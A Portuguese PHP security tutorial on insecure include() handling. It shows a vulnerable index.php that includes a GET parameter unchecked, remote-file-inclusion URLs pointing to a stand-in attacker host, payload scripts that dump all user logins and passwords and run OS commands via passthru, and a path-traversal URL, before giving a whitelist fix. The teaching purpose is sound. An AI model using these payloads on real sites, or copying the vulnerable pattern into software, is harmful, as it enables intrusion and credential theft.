Desenvolvimento - PHP
PHP: Segurança com includes
Vou falar sobre "vulnerabilidade" ou melhor um descuido do programador ao desenvolver um sistema de includes.
por Rodrigo SeboldVou falar sobre "vulnerabilidade" ou melhor um descuido do programador ao desenvolver um sistema de includes. Digamos que seja desenvolvido o seguinte script PHP em que o usuário irá acessar o site e suas categorias pelo seguinte endereço:
Citação:
http://www.site.com.br/index.php?arquivo=empresa.php |
Onde o arquivo index.php seria:
Citação:
http://www.site.com.br/index.php <?php // Aqui o programador descuidado pode fazer uma busca // pelas categorias do menu no banco de dados MySQL... mysql_connect("host","user","pass"); mysql_select_db("rootsec"); $sql = mysql_query("SELECT `nome_categoria` FROM `categorias` ORDER BY `nome_categoria` ASC"); while($i = mysql_fetch_array($sql)) { print $i["nome_categoria"] . "<br />\n"; } // Agora da um include para inserir o conteúdo if(isset($_GET[arquivo])) { include($_GET[arquivo]); } ?> |
Tudo certo??? Não! Tudo errado. Digamos que algum usuário mal intencionado acesse o site pela seguinte url:
Citação:
http://www.site.com.br/index.php?arquivo=http://www.malintencionado.com.br/pegardados.php |
E agora o arquivo pegar_dados.php vai conter:
Citação:
http://www.malintencionado.com.br/pegardados.php <?php // Instrução ao MySQL para fazer uma busca por todos usuarios $sql = mysql_query("SELECT * FROM `usuarios`"); // Mostrar todos usuarios registrados, agora é papel e caneta // na mão para copiar todos dados de saída ;/ while($i = mysql_fetch_array($sql)) { print $i["login_usuario"] . " : " . $i[senha_usuario] . "<br />\n"; } ?> |
Ou quem sabe o usuário poderia vir a "tomar posse" do sistema usando o comandos do sistema operacional. Com a função passthru("comando") abaixo vou mostrar um arquivo que mostraria todos os dados da unidade C:, mas lembrando que poderia ser executado qualquer outro comando...
Citação:
http://www.malintencionado.com.br/pegardados.php <?php print "<pre>"; passthru("dir c:"); print "</pre>"; ?> |
E lembrando que o usuario poderá acessar qualquer arquivo do sistema por exemplo:
Citação:
http://www.site.com.br/index.php?arquivo=../../../secreto.txt |
A solução para esses casos seria simplesmente a validação de dados que o usuário vai enviar. O arquivo index.php "seguro" ficaria desta maneira:
Citação:
http://www.site.com.br/index.php <?php // A conexão e a busca das categorias ficariam // da mesma maneira, mas após a consulta não seria necessário // o script ficar conectado ao MySQL vamos fechar a conexão // usando mysql_close() mysql_connect("localhost","root",""); mysql_select_db("rootsec"); $sql = mysql_query("SELECT `nome_categoria` FROM `categorias` ORDER BY `nome_categoria` ASC"); while($i = mysql_fetch_array($sql)) { print $i["nome_categoria"] . "<br />\n"; } mysql_close(); // Agora vamos verificar os dados que o usuário vai enviar // da seguinte maneira: switch($_GET[arquivo]) { case "empresa.php": include("empresa.php"); break; case "contato.php": include("contato.php"); break; default: print "<br /><br /><br /><br /><br /><br />"; print "<h1>Bem Vindo</h1>"; break; } ?> |
Pessoalmente não acho conveniente sistemas de include desenvolvidos deste modo, porque quanto mas você poder esconder como é o sistema melhor, ficaria bom se os includes fossem dados por id exemplo http://www.site.com.br/index.php?arquivo=1 e ficaria melhor ainda se possível você mudar a extensão do php para .html por exemplo...
E se caso algum dia você precisar desenvolver algum script que irá utilizar a função passthru(), dererá ser feito a validação dos dados com a funcão escapeshellarg() ou escapeshellcmd().
Sendo assim vou finalizando aqui. Qualquer dúvida é so postar ai vamos fazer o possível para responder ela... Até mais!!! ;D